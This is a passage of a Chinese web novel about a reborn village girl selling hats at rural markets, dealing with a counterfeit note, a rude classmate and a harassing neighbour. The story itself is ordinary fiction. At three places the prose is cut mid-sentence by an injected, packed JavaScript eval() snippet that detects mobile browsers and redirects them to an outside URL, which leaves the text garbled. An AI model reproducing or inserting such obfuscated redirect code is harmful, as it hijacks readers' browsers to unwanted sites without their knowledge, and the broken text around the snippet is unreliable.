《我在农村大集当销冠》 5. 假bi风波 第二个集是张千户集，张千户离大徐村约五六里地。集不大，就是一条东西路穿过村庄，摊子摆在路两侧。但因为这条路直通省道，赶集的人也不少。 徐春天的摊位，摆在了集头桥西，这边摊位少，大多都是新来的摊位。七点多，天气还冷，集上的人并不多。 徐春天拿了家里的录音机，将一盘磁带放进去，摁下开关，动听的旋律响起。“爱像一阵风，吹过它就走……” 听着音乐，她认真的整理货物。“有小孩的帽子吗？” 徐春天回头，就看一个二十七八的年轻母亲，怀了抱着个小孩。也就一岁多的孩子，小脸蛋红红的，窝在他娘的怀里，有点好奇的打量着徐春天，还有摊子上的帽子。 “有啊。是给这个可爱的小宝宝戴吗？” 张心冉点头，有点不好意思的解释，“我家孩子，就是头大，哥哥姐姐小时候的帽子，他都戴不上。” “这大脑门，一看就聪明。”徐春天发觉这小孩的确头挺大，眼睛里黑白分明，炯炯有神，太有精气神了。 小男孩大约是天天在外面玩，皮肤有点黑。她立马想起有个正红色的细线帽子，非常紧密，帽子上还有两个小鹿角，很是可爱。 帽子两侧多出一块，正好捂住耳朵。 昨天徐春天还忧愁，这款帽子幼稚了点，而且是细线帽子，还是红色的，怕是不好卖！ 这不就打开思路了，中学生嫌弃它幼稚，小朋友戴上却是喜庆可爱。 “姐，你说巧了不是？我昨天刚进的货，还真有一个特别适合小朋友。”她说着找出一顶火红色的帽子，“姐，内里是纯棉的，你摸摸，织的很密实，摸起来也软和，还不沉。颜色也喜庆。给小朋友戴上看看吧，一准好看。” “小朋友，让我给你戴上好不好呀？” 小孩指着镜子，“我要照照！” 张心冉拿过镜子，“这孩子，就喜欢照镜子。” 帽子的红色很正，衬得小朋友眉眼好看，如喜庆的年画娃娃。被亲妈吐槽的大脑袋，戴上帽子正正好好。张心冉用手指试了试，“挺正好，一点也不紧。” 帽子出乎意料的合适，关键是还好看。就连张心冉自己都说，“没想到，俺儿子竟然戴红帽子挺好看。” “姐，是很好看！主要是这个红色很正，小朋友长得也好。” 所有家长对自家娃都有滤镜，特别是娃小时候，张心冉自然也是，怎么看她儿子都精神，长得好看。 “嗯，就这个吧，多少钱？” “姐，我这里所有的东西，一件八块，两件十五，三件就二十。单买一件也不贵，买的越多越合适。” “家里其他人需不需要围脖，手套呢？天冷了，骑车子上学或是走亲戚，外出没个帽子手套哪行啊。” 徐春天看到张心冉是走着过来的，猜测她大概就住张千户村，刚才她提到小孩的哥哥姐姐。买东西嘛，只给一个小孩买，其他人肯定攀。 的确，张心冉想起家里还有俩皮猴子，老大帽子是她织的，孩子嫌丑。老二帽子是别人给的，孩子嫌旧。她又认真的摸了摸帽子，“行吧，我再挑俩帽子，家里还有俩呢。” 徐春天笑了笑，“您是住这附近吧，要是方便，让孩子来试一试，买一会，也挑个好看合适的。” 看出张心冉有点犹豫，她直接说，：“我看大姐你也是实在人，这个帽子先不用给钱，等最后挑完了一块给就行。” 见徐春天如此，张心冉也不磨叽，掏出八块钱给了她。“那哪行？这个先给你钱。等会俺再来！到时候你可按买三件算钱啊。” “放心吧，姐！” 徐春天一直觉得，好的开始很重要。张心冉走后，她将八块钱放兜里，心里美滋滋的，今天生意肯定不会差！ 果然没一会儿张心冉又来了，这次不仅带了老大老二，还有她的姐姐和嫂子，姐姐和嫂子也带了孩子。呼啦啦一群人直接包围了摊子。 摊子前人头攒动，赶集的人刚到集头上，就看到这番热闹景象。 人从众嘛，大家都喜欢凑热闹。一个摊子前人越多，大家都会默认东西好，就会跟着买。 这也是为什么会有拖的产生，就连买房，都会拉房拖。 徐春天就当过拖，一天啥也不干，就给二百块钱，还给米面啥的。 生意这么好，多亏了张心冉。徐春天还特意送给张心冉几个小孩戴的脖套。 好容易送走了一波又一波的客人，徐春天抬头发现太阳都日过中天了，肚子也咕咕叫了起来。 她随意抽出一张二十的钱，崭新的，递给春河，　“去买些肉，再买五块钱的包子。” 徐春天则和春雨整理下摊子上的东西。今天带来的货，卖的也挺快。她心里正高兴呢，就听徐春河匆忙跑过来，“姐！他们说这张是□□！” □□！ 徐春天噌一下站起来！从满脸通红的弟弟手里，将崭新的二十块钱拿回来。 钱很新，一点弯折也没有，硬硬的。“这怎么就是假的呢？” 从小到大，徐春天从来没见过□□！甚至她都怎么见过新钱！ 隔壁的摊主闻言，“我瞅瞅！” 他走过来，摸了摸钱弹了下，又对着太阳照了照，摇摇头，“假的！” 徐春天心里觉得天都塌了，一旁的弟弟妹妹更是气的脸红了。 “哪个不要脸的，竟然花□□！真缺德！” 徐春雨直接骂出来。 徐春河也是想起刚才花□□被人点出来时的窘迫，此刻心里更加愤怒，但更多的是迷茫，无措，毕竟，方才是他管收钱。“姐，都怪我！这钱，咱咋办？” 悄悄花出去？可他觉得自己一路走回来，身上有□□的事，就像长了翅膀，感觉每个人都知道。 二十块的□□，太扎眼了。对于任何一个小商贩，都不是小数目。 徐春天环顾四周，看到其他人不同的，警惕的，或者看热闹的眼神，她心里冒出一个念头！ 这两天太顺了，差点让她失去了警惕心！ 收到□□，她认栽！ 她拿起□□，大声的对弟弟妹妹说，“这张□□，咱不能花，花了，就是冷害别人。” 徐春天找出一个透明的塑料包装袋，是装脖套的，放□□大小也合适。然后用透明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889549|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胶带将包装袋封起来，直接粘在小摊的摊名上。她抬头就能看到这张□□。 “春河，春雨，记住了，我们做生意靠的就是诚信，咱不花□□，还要学会分辨□□。以后抓到花□□的，决不轻饶。” 少女的声音掷地有声，目光坚定，本来看热闹隔壁摊主也忍不住点头，“唉，这条街上，谁没收到过□□呢！大家都怕了，收的多了，就学会怎么分辨了。上手一摸，就能摸出来。” 徐春天当即挑了一顶鹅黄色的麻花针织帽，帽顶上有个毛绒球球，两侧垂下来的绳子，也带着毛绒球球。“叔，小妹长得真好看，这个帽子太嫩了，一集也没卖出去，放旧了也浪费，您要是不嫌弃，就给小妹妹戴吧。” 说着她直接戴小女孩头上。“大小正合适呢。” “这哪行……”摊主话没说完，就看到闺女带着鹅黄色帽子，冲着他笑。 他瞬间就不说话了，谁说他闺女随他长得丑呢，戴上帽子多俊呐。 “这怎么好意思要你的钱，八块是吧，”说着摊主就要拿钱。 徐春天赶忙说，“叔，俺不要钱，你能跟澳俺们说说，刚才为啥对着太阳看钱呢？” 摊主明白了，徐春天这是想问他怎么分辨□□呢。 “害，这也不是啥秘密，收的多了，就懂了。我跟你说啊，这□□，在光下，……” 摊主巴拉巴拉说了一通，“花□□的人，最可恨了！真缺德！咱们起早贪黑挨冻受饿的，整个钱容易吗？” 等摊主的媳妇回来，就看到自家闺女戴了顶新帽子，捧着包子啃，自家男人呲着大牙，跟旁边卖帽子的姐弟三人聊天，说的唾沫横飞。 等她知道来龙去脉，忍不住拍了下自家男人抱怨道：“说几句话的事，你咋还要人家小徐的东西呢，还让人买包子吃。” “婶，俺们自己给的，多亏了叔好心，不然俺们三个还不知道咋办呢。” 摊主媳妇姓李，名叫李艳，和丈夫孙强一起摆摊，卖饼干糕点等。两口子干了五六年了，生意才逐渐稳定下来。 李艳是个直爽性子，看闺女戴的帽子真挺好看，比她自己去县城买的都好。闺女看着她，一副绝对不摘的表情。李艳直接装了一袋子饼干面包，塞给徐春天，“小徐啊，以后别跟叔婶客气。” “咱们一块赶集，有来有往的。” “嗯，婶子，场外街集上，俺娘总买你家的东西给俺姥娘吃呢。” 李艳瞅了瞅徐家三姐弟，“你娘是谁？你们是大徐家的？” “嗯，俺娘是孙家的，俺爸是徐大龙。” 李艳直接一拍大腿，“哎吆，你们竟然是大龙哥家的孩子，你有个姑，嫁高家去了，是吧，俺和你姑同学。” 说来说去，大家都是这附近十里八村的人，越说越近乎。经过□□的事，反而是熟悉了起来。徐春天也算是因祸得福，从一个新摊主，慢慢和其他常年赶集的老摊主，熟悉了起来。 都说朋友多了路好走，徐春天没想到，认识李艳后，她直接走上了通往大集销冠的罗马路。 散集前，李艳就给徐春天透露了一个惊天巨瓜，她大约知道，□□，是谁花的！ 6. 毒舌出没 常屯集，对徐春天来说，至关重要。因为常屯中学就位于常屯街上。常屯中学是常屯乡唯一的中学，附近有二十多个村子，孩子们都上这来读初中。 逢一六为集。今日天气晴朗，没有风，徐春天早早吃过饭，就骑车去了集上。 徐春雨还上小学，学校就在本村。徐春河已经上初中了，就在常屯中学。 常屯集很大，一条特别长的南北街。这条街实际上就是一条乡道，从常屯村中间穿过。街道两旁多是商铺，馒头房，理发店，小商店，照相馆，牙科门诊熟食店等等，常屯中学位于最南头，紧挨着的是常屯小学。 常屯集从北到南也有个大致的划分，北面卖菜卖水果等。中间各种吃的喝的，干果百货等，南面就是服饰鞋子饰品类了。当然不同摊位中间也会有其他穿插。主要还是因为摊位已经固定，大家都不会轻易换位置。比如李艳家的摊位，就在中间靠南的地方，左边是卖鞋的，右边是卖老年衣服的，对面也是个卖锅碗瓢盆的。 这几家个摊位有个共同之处，就是她们摊位后的店铺，也是自家的。 赶集的时候，后面的店铺也开门，不过大家不喜欢往后走，更愿意在集上买。 李艳直接在她家旁边给徐春天腾出了一个空。徐春天的摊子不大，也就两米长，紧挨着李家，完全能摆的开。 “这位置平时也是空着，来回走人都快成过道了。”李艳笑着说，“小徐啊，你就挨着婶摆。” 昨日李艳得知徐春天是高一辍学摆摊挣学费，心里佩服的不行。她家有俩孩子，老大刚上初中，和徐春河同班前后位，老二上小学。 之所以这么照顾徐春天，也是听儿子说徐春天和徐春河学习都很好。她结个善缘，让儿子多交个朋友。 常屯集上人真多啊，到处热热闹闹，卖啥的都有。 徐春天以前都是来赶集买东西，这次来卖东西，让她很是感慨。说不定，她还会遇到曾经的同学和老师呢。 那张二十块钱的□□挂在摊位上，也是相当醒目，风一吹，还飘来飘去。很多人不买东西，也会好奇的问一嘴。 “哎，这不是咱们班第一吗？怎么不去上学，跑来摆摊了？” 徐春天抬头，看到对方年轻的脸，忍不住白了她一眼，“偶像剧看多了吧，恶毒女配台词说的这么溜？” “你说谁恶毒女配呢？” “章静，我说的就是你。你不是复读了吗？不上学又逃课啊？” 叫章静的女孩穿着粉色呢大衣，脖子里围着一条薰衣草紫色围脖，长发披肩，甚至还涂了红嘴唇，远远看着，青春靓丽。只是一开口，说话多了点刻薄。 “徐春天，你从哪里整了些便宜货？还好意思赶集卖呢。听说你嫁人了？哎呀，在学校里装的清纯，没想到啊。” “我可比不上你，虽然我复读了，可明年我肯定上高中。” 徐春天平静的等她说完，“说完了吗？脑子进水了，谣言就是让你们这群蠢人信的。” “我说章静，你自己刚从非洲回来吧，皮肤黑黄，就别穿紫，又土又老，你还以为自己是阿熏呢。口红偷的你姐的吧，橘粉色不适合你。大脸盘子，蒜头鼻，就别留黑长直。我要是你，今天穿成这样就不出门，出来吓着人咋办？” 其实章静长得还行，只是太年轻，打扮太用力。徐春天几句话，说的章静红了眼，“你胡说！” “反正以后我会上高中，读大学，你就在家种地吧。” 徐春天拿起一顶米白色帽子和藏蓝色围脖，　“我要是你啊，就选个这种米白色帽子，帽沿大，帽子深，完全可以遮住头，脸显的小。米白色柔和，还能提亮肤色。” “若是再配条藏蓝色围脖，这种冷色调显得人精神。” “哎哎哎，你别走啊，都是同学，我卖你便宜点。” 看着章静落荒而逃的身影，徐春天觉得这家伙嘴巴毒不讨喜，实际上还是年轻脸皮子薄了点。 察觉到其他人悄悄打量的目光，见她看过去又挪开视线，徐春天笑了，“衣服合身很重要，帽子围脖也是啊。选好了整个人都不一样。” “最新款的帽子围脖，好看便宜，物超所值！有喜欢的就试一试，拿不准就多试几件。” “一件八块，两件十五，三件二十都带走。” 徐春天觉得自己脸皮真厚了，吆喝完就坐到摊子前。集上年轻人少，二十来岁以上的都外出工作了，没工作的就都在上学。六七岁以下的小孩跟着家人，眼里看到吃的才放光。 隔壁摊子上忙的热火朝天，徐春天的摊子前人了了。她也不灰心，甚至还会帮李婶招呼客人。 眼看快中午了，李艳家终于清闲下来，徐春天刚坐下，就听到南边传来熟悉的铃声，常屯中学放学了！ 徐春河呼呼的跑了过来，身后还跟着三个男孩，其中一个正是李艳家老大。 三个男孩看到徐春天，都有点害羞，“姐姐好。” “姐，这是我同学，他们想买帽子和手套。你给他们搭配搭配。” 三个男生六只眼睛看着摊子上的帽子围脖，徐春河说的没错，他姐这的东西看起来好看，摸起来也很厚实。 徐春天很快就挑了几个帽子塞给三个人，“春河，带你同学去大镜子前试试。” 三个男生你推我我推你，迫不及待的站在镜子前，戴上帽子。徐春河还给他们调整了下帽子。 “哎吆，俺儿子戴这个颜色精神呢！” 李艳从旁边看着，她从没想过自己儿子除了黑色灰色，竟然戴上个蓝色帽子，整个人清爽了不少。 “这个好看。” 另外两个男生也很满意。“春河，手套呢？” 徐春河指了指竹竿上挂的样品，“我姐说了，手套不用太讲究，自己看着选就行。你个男生，啥手套不一样啊。” “切，你这话说的，男生咋了。”几人人嘻嘻哈哈，很快就选好了东西，徐春河直接负责结账。因为摊子前陆陆续续上人啦！ 初二初三的学生，有些认出了徐春天，很熟的都不好意思过来买，远远的看着，反倒是徐春天，直接招呼她们。 “咋了？一个暑假不见，就不认识我了？” 徐春天故作伤心。 学妹是个内向文静的女孩，连忙跑过来，“不是不是，我就是怕认错了。” 其实，她怕徐春天伤心。“姐，你不是考上一中了吗？” 徐春天笑了笑，“是啊，不过家里出了点事，我休学了，明年再上。” “哦哦哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889550|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等她好不容易打发走了一波又一波的学弟学妹们，就听到有人叫她。 “徐春天？” “高老师好。” “还真是你！”高平听到自家孩子跑回家，说什么徐春天在集上摆摊呢。她碗都没刷，午觉也不睡了，直接来到集上。 “你咋回事？不念了？考上一中那么不容易，你怎么就不珍惜？哎，你这孩子。你爸妈咋会事啊？有啥难处跟老师说啊” 高平从初一就教徐春天，一直觉得她是个懂事聪明的学生。上一批学生里，就数她成绩进步快，听说还去了一中火箭班。 “你怎么回事？” 有学生看到高平在这，直接绕道跑了。 徐春天知道高老师是关心她。此刻见到高老师，让她忍不住想起上辈子她被谣言缠身，听说高老师还找徐春河问过她的情况。 高老师是真的关心她。 再次见到高老师，徐春天很开心。　“高老师，你听我说。我没有放弃学业。” 徐春天将家里发生的事告诉了她，还说了自己只是休学，平时都有学习，计划明年参加期末考试，要是成绩好就升高二，成绩不行就从高一念起。 高老师叹气，“钱啊，哎！”高中学费不便宜，更何况还有生活费等等。有些事，她能帮忙，但更多的时候，只能是有心无力。。“你可要继续学啊，等上了大学就好了。大学里有奖学金助学金，还能做兼职。” 她语重心长的劝说徐春天：“能考出去就考出去看看，好好学啊！” “嗯，高老师，我会的。” 上一世，徐春天失去了心性，对生活不抱希望，也无暇学习。但人生重启，徐春天早就意识到，不管是什么东西，抓到手里的才是自己的。钱是，知识也是，命运亦是如此！ 中午的时间很快过去，过了一点多，集上稀稀疏疏就没多少人了。卖菜的摊子旁边有些许菜叶，有的只剩下品相不太好的菜。 李艳指了指一个人，“小徐，你看那个人，应该认识吧？” 徐春天抬头望去，就看到一个看起来有点疯癫的中年妇女，拎着一个塑料袋，蹲在卖菜卖水果的摊子前捡东西。花白的头发在脑后扎成一个马尾，身上穿着的褂子，颜色灰扑扑的，但很干净。 “大老常？” 徐春天记得她，这个妇女人送外号大老常，因为她常常在常屯街上晃悠，是个脑子有问题的人，也就是大家嘴里的疯子。徐春天觉得，她大概是间歇性神经病。 “嗯，”李艳点头，爽朗的她脸上露出少见的忧伤神色，“她和我同学。那时候她学习可好了，从小学到初中都是第一名，后来她考上县里的高中，我没考上。听说她成绩也很好，我可羡慕了。” 徐春天看了看神采奕奕头发乌黑的李婶，再看看有点驼背头发花白脸上毫无生机的大老常，“你们，同学？我以为，大老常至少五十多岁了呢。” 李艳摇摇头，甚至不合时宜的笑了下，只是笑的有点勉强。“她那时候，个高盘顺，”这倒也是，即便是有点驼背，也能看出大老常个子挺高，至少一米七。 “她学习好，长得也好看。特别擅物理，喜欢学数学，一手算盘打的可好了。都说她肯定能考上大学。” “那她，没考上？” 7. 被狗追 考大学可不是件容易的事，谁也不能笃定自己会考上。 李艳看着徐春天，小孩子虽然装作成熟，但孩子终究是孩子，对人性的了解不足。“她考上了，但被别人顶替了。然后她就受了刺激，脑子变得不正常了。” 李艳的几句闲聊，简单的说出了一个人的命运转变。 徐春天觉得的愤愤不平，“咋还能顶替呢？这不是犯法嘛？” “唉”李艳没有纠结这个话题，她拍了拍徐春天，“你们高老师是个好老师，可有时候，不能只看学习。哎，我也不知道自己都说了些啥，反正你尽力就行，别太难为自己了。” 常屯集上的货卖的七七八八，只剩下些有瑕疵的，零零散散的。徐春天正收拾的时候，还有个小孩跑来说要买顶白色帽子和藏蓝色围脖。徐春天指了指摊子，“卖没了。不过我家里还有，想买的话，明天去大寺集上吧。” 车都空了，钱包鼓了，徐春天高兴的骑车回家。从常屯到大徐家的路将近八里地。大路好走，压路机前一阵刚压平了，可惜有相当一段路附近没有村庄，都是地。徐春天怕不安全，还是走了不太好走的路，穿过四五个村，本以为这条路人多安全，没想到出了常屯村她就遇见了一个气人的事。 走到常屯和高家中间唯一的土路上时，突然从路边沟里窜出一条狗。黄白毛的土狗追着徐春天汪汪叫，还试图蹦起来咬她。吓得徐春天心都要跳出来，两条腿忙坏了，抬腿踹狗，还要赶紧蹬车子，嘴里下意识的喊着“走开！滚！啊！” 可是那只狗跟疯了一样，追了她将近二三十米。 她从没觉得自己如此狼狈过，脑袋瓜子嗡嗡的，直到她马上进了村，狗才不追了。 徐春天回头望，就看到那种土狗摇着尾巴，冲着道路一侧跑过去，路旁树下有个人坐着小车，冲着徐春天裂开嘴笑！ “神经病！” 竟然是高家村那个瘸子，这个人生下来就没有腿，脑袋瓜倒是聪明，就是坏！ 他总是会躲在路边，吓唬过往放学的学生，特别是女生。偏偏还没法跟他计较！ 烦人！ 徐春天骑着车子呼呼的走，以后不走这个村了！ 还没到家门口，就看到孙兰清在门前捡棉花桃。棉花桃就是还没开的棉花，天冷了棉花棵就死了，叶子干枯，但棵上还会有没开的棉花桃。通常人们把棉花桃摘下来，晒晒扒开后，里面的棉花瓣还能用。最后才会把棉花棵从地里扒出来。棉花桃壳和棉花棵也不能浪费，晒干了可以当柴火。 “吃饭了吗？锅里还给你热着呢。白菜豆腐汤，你奶奶还蒸了南瓜馅的包子。” 孙兰清帮闺女打开后院的门，把车子推进去。等徐春天换衣服收拾的空挡，她已经把菜盛出来放桌上，小篮子里还装了一个大馒头和俩包子。 汤里放了粉皮，滑滑的吃起来有韧劲，豆腐也好吃，白菜帮少，菜心多，徐春天大口吃起来。 孙兰清就坐在一旁絮叨，“小羽回来了，她娘说也大医院也就治这样了，孩子可怜呐。” “大城市挺好的，小羽她娘带回来很多衣服，说是人家看她们可怜，送的……” 徐春天想起来了，小羽比她大，小时候挺好一孩子，五年级上课时，突然说自己看不见了。然后徐春天就听说小羽脑袋里长了瘤子，县城治不了，去了大城市，陆陆续续治了好几回。 上辈子，小羽后来接连嫁了两个人。不过话说回来，就连小羽的名声，也比她好。 “哦，我说刚才听见她家好几个人说话呢。”其实，徐春天还听到了吵架声。孙兰清也不单纯是捡棉花桃，而是一边干活，一边听呢。 徐家的小菜园就在小羽家东边。 孙兰清小声说：“那个谁，就长生家的，去她家了。” 徐春天一时没反应过来，“长生家的？谁啊？” “说媒啊，我听着是高家有个小伙子，有点残疾，可人家能耐，家里养了很多鸡。小羽这样的，脑子也不灵光，人家不嫌弃！” 嫌弃？ 徐春天忍不住嗤笑！这世道真有问题啊，娶个媳妇你不嫌弃就跟做了什么好事一样！ “高家有几个残疾啊？”徐春天想起方才遇到放狗咬人的变态，不会那么巧吧。 她正想着，却听孙兰清说起来，“好像是生下来就没腿吧，反正人家自己做了个小车，上哪里也能去。就在高家西边村头上住。” “我靠！”徐春天忍不住骂了句脏话，没想到还真是那个王八蛋。“那家伙可坏了，我回来的路上，他还放狗追我呢。” 怪不得上辈子小羽嫁了两回，谁嫁给这种变态，就是纯受罪啊。 听徐春天这样说，孙兰清也吓一跳，“狗没咬到你吧？那人这么坏啊。我还听长生家的说小伙子老好。” “哼！好个屁！媒人的嘴骗人的鬼，嘴里没句实话。你以后别让她上咱家来，我去学习了。”徐春天气哼哼的，提到媒人就想起上辈子被诬陷被造黄谣，直接一头扎后院。 她要好好学习，考上大学读研读博一直读，嫁人，下辈子吧！ 不过，她还是先把这三天的收益算了下。第一天场外街集，人多加上周六学生放假，收益1200，全部拿去进货了。昨天张千户集，周末学生多，收益1300块左右，今天常屯集卖的最好，有2000了。这三天去掉总成本，挣了三千多块钱。 明天起直到周五，大概就不会这么高了。来来回回就这么多人，不是去这个集，就是去那个集，等她五个集再卖一轮，大概率帽子围脖就卖不动了。 徐春天心里想着两个事。一个事听到今天媒婆说媒，她想起自家好像还欠着徐小果家三千块。这钱不还了，她浑身难受。 她得说服爸爸同意卖些粮食。这样她拿出一部分钱和卖粮食的钱一块，直接还了徐小果家。对外就说都是卖粮食的钱。 第二个事就是卖完帽子围脖等再卖啥。这个虽然不是很着急，但她也要提前选好了。 天冷了，白天短了，徐春天感觉自己没干多少事，徐春雨就叫她去吃晚饭。 “姐，我同学还问我帽子哪里买的，我说让她们去集上，可她们想明天就买。中午能来咱家看看不？” 看着妹妹水汪汪的大眼睛里，满是期盼，徐春天不想让她失望，也不愿意再看到这双眼睛变得黯淡无光。她想了想，“这样吧，你知道她们喜欢什么颜色，给我描述下她们的模样，等会我提前找出几个，明天中午我不一定能回来。她们要是来了，你就带她们自己试试看。” “好呀，姐，你太好啦！” “不过，”徐春天摸了摸她的头，“告诉你的好朋友们，必须让家长带她们来。自己拿钱来的，不行哦。” 孙兰清皱眉，“这多事呢。小雨你让她们去集上找你姐买，多好！”她不太会说，怕人家来了，她作为家长，不得招待陪着，说啥呢。 徐春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889551|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨笑容僵在脸上，嘴里嘟嘟囔囔，“娘，我都和同学说好了。” “没事，春雨，你让同学来就行。明天姐早点回来。” “娘，春雨也是帮家里卖东西。” 孙兰清看看她俩，从她打算给大闺女订婚开始，她发现自己就管不了老大了。不过那件事她的确有点心虚，叹了口气，“好好好，我不说了。” 夜里她和徐大龙抱怨，“孩子大了，就不听话了。你看看老大主意正的，老三也是，还把同学带家里来。你说说你，当时也不说话！跟个哑巴一样。” 徐大龙也有点无奈，听媳妇抱怨完，劝她，“这孩子大了，有自己的想法正常。我看老大说的对。她摆摊还不是为了家里吗？你就别添乱了。” “还有，明天咱卖两囤棒子，先把那谁家的三千还了！老大不是给了两千，咱就用一千，那一千不动。” 孙兰清不同意，“卖一个囤吧，现在棒子水分大，给的价低。年后卖价高。” “哎，别说这些了，我看为了那个事，孩子心里过不去。早还了也好。” 丈夫说的话，孙兰清怎么会感受不到。她觉得闺女从那天开始，骂了媒人就变得不一样了，和她也不如以前亲近了。可她是亲娘，还能害自己的亲闺女吗？ 闺女长大了，不都得嫁人生孩子，哪个女人不是这样啊。 徐春天才不管她爹娘咋想的，晚饭后，她就把自己关在屋里认真学习。她找出自己初中的书，语文她不用看，但数学物理化学，她还需要先复习下初中的知识。 她从不觉得自己重生后会涨智商，天道酬勤，一份努力一分收获，她必须付出更多的时间和精力，才能弥补中间空白的许多年，追赶上同学们的进度。 逢二七，本来没有集，去年大寺村搞了个庙会，也就形成了一个新集。只不过这个集才一年，来赶集的人不算多。 大寺村旁边有个破旧的寺庙，据说以前挺好，香火挺旺，还有和尚住在着呢。大寺村的寺，就是指这个寺庙。去年但是听说有人花钱修了下这个寺，然后还搞了个庙会。 大寺集就在寺庙前，徐春天到的时候，稀稀拉拉就十多个摊位。李艳家旁边也空着，她就继续去和李艳婶做邻居。就在寺庙的斜对面。 “看到这寺庙了吗？”集上也没人，李艳就指着对面的庙，和徐春天闲聊。寺庙不大，如果忽略掉独特的房顶啥的，也就是个普通农家小院。红砖院墙围起来，木头门开着，透过院前，能看到里面有个小庙宇。也就是三间房。院子里多了个八角亭，里面有一圈木头凳子，可以坐人。 院子里种着松树，冬青，东边以前地整的平整，竟然还有单杠双杠。这些东西，徐春天就从学校操场上玩过，其他地方没见过。 几个小孩子正在院子里玩，旁边坐着几个家长，大约是孩子奶奶们，正在晒太阳拉呱呢。 “你知道这庙里供奉的啥吗？”李艳神秘兮兮的。 徐春天还真不知道，她重生归来，连这个庙都不怎么记得，家里人也从来没提过。 “估计就是观音菩萨？如来佛祖？” 李艳摇头。 “难道是财神爷？” “也不是！” 李艳正卖着关子，徐春天就看到从寺庙内走出一个人。 皮肤白的发光，短头发，很高，穿着一身一中的校服，手里拎着一个箱子。 当看清楚他的脸，徐春天瞬间瞪大了眼睛。 8. 冲突 “这小伙子，长得挺精神啊。”李艳立马改了话题，“你看看，鼻子是鼻子，眼睛是眼睛的。” 徐春天都被她的话逗笑了，“婶子，周围谁长得不是这样？鼻子不是鼻子，那不成妖怪了吗？” “小姑娘你不懂，我赶集这么多年，见过的人多了去了。这老多人啊，长得歪瓜裂枣的。有的眼睛小就算了，还是个三角眼。有的鼻孔朝天，鼻头老大，还没有鼻梁。” “但这小伙子，长得俊！跟明星似的。我看他穿着校服，是一中校服吧？” 徐春天点头，“对，还是今年新款校服，就高一有。他应该是在一中上高一。不过今天周二啊，怎么不上课跑这来了？奇怪。” 或许是上一世的缘故，徐春天对于同龄的异性，有一种天然的排斥。纵然一眼惊艳，可她随即移开目光。耳边听着李婶的话，她也只会关注到学生还上学这个点。 “哎，李婶，你还没说，寺庙里供奉的是啥呢？” “等会聊啊，哎，买点啥？这边都是一块钱一斤，” “这种啊，不太甜，软和，给老人吃最合适了。” 得，李艳那边来客人了。 徐春天走回自己小摊子前，半蹲下抻了抻有点皱巴巴的绒布，看到摊位前划过来车轮，接着一个有点尖的声音传来：“给我拿个帽子和围脖。” “好嘞！”徐春天赶紧招呼，当她直起身，就看到一张有点精明的脸，小伙子也就二十出头，一眼看就很精明，脸上带着憨厚的笑，在徐春天看来是那么的违和。 他坐在一个自制的轮椅上，裤腿管松松的。竟然是昨天故意放狗咬她的人。徐春天强压下翻白眼赶客的冲动，“有喜欢的吗？我给你拿。” 那人显然是没有认出，徐春天是昨天被狗追的人。他憨厚一笑，指了指平铺在绒布上的帽子，“我想要个白色帽子，围脖就藏蓝色的。” “我也不会选款式，大妹子你给看着挑，就我送人。” “我懂了”徐春天一笑，随即从女款里挑选起来。她心里想，年轻小伙，肯定是给对象买的。也算是个有心人，自己行动不便，还专门来挑。 “我听说，你这卖的东西，比县城精品店不差。” 这话虽然是恭维，但不得不说，这人面上还是会说话。徐春天也不谦虚，“这话不假，群众的眼睛可是雪亮的。大哥你看看这几个咋样？” 徐春天一连拿出三个不同款式的帽子，都是米白色的，“这个米白色百搭，不挑人，谁戴都好看。特别是这个，”她指的正是昨天推荐给章静的那款，“俏皮可爱，戴上不仅保暖，还显脸小。” “配上藏蓝色围脖，再穿个呢大衣，好看又保暖，电视里就这么穿。” 徐春天正热情的介绍，却发现那人在她低头的时候，直勾勾的盯着她看，眼神让她很不舒服。可当她抬起头，对方有一副憨厚的模样。 “你能戴上试试嘛？她和你长的差不多高。好看我就买。” 说出这话的一瞬间，徐春天从他眼神里看到了猥琐，就像上一世她被造黄谣，有人知道就用这种恶心的眼神打量她，仿佛她是个物件。 徐春天心里的火蹭一下就上来了，直接把手里拿着的帽子围脖一扔，居高临下的瞪了那人一眼，“你刚才是什么眼神，我不卖了。你去其他地方看看吧。” 那人闻言一愣，随即指着徐春天，大声质问，“你凭什么不卖我？就因为我这样，你就看不起我？” “我自己能挣钱，这钱是我辛辛苦苦每天喂鸡挣来的。” “咋了咋了？怎么还吵起来了？”集上本来人不多，先是铁盒子掉地上，接着就是那人带着委屈的控诉，一下子吸引了周围人的目光。 赶集的多是老人，还有带孩子的妇女，最是热心又爱看热闹的人群，这一闹大家伙东西也不买了，纷纷抬头像这边看。 李艳也赶忙跑过来， “咋了，小徐？” 